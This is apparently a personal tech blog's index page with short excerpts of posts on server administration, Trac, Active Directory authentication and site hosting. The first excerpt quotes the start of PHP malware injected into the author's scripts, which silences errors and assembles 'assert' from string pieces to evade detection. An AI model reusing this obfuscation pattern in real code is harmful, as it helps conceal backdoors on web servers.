My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically: //###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc $strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = …

I’m a fairly heavy user of trac. I’ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition. After remembering to rename my virtual host files with …

A minor post - mostly for my own notes.. I was setting up an instance of Trac and I wanted Active Directory authentication going. I’ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get …

Previous Dawning.ca Layout I’ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is …

I’ve whipped up this little YouTube video grabber for myself and I’ve opened it up for the moment. If I see it getting spammed or abused in some way, I’ll probably password protect it, nevertheless, you can check it out here. What it does This little app takes a YouTube video link and then adds the reference in a …

Howdy, so I’ve returned to hosting my site on a professional connection rather than over my lameo home setup. I’ve grown tired of n00bful downtime due to power outages, ISP outages, people tripping over cables or gnomes screwin around. As such, dawning.ca is now hosted on a server I’ve got running down in Texas with …

The Mission To run an Apache server (on Windows) on the same machine that was already hosting IIS. The Strategy The plan was to alter each virtual host defined in IIS to not bind to the typical HTTP/HTTPS ports (80 & 443), but instead have it use arbitrary ports (was to be 8080 & 4433). With that in place, I could …

So I’ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I’ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba …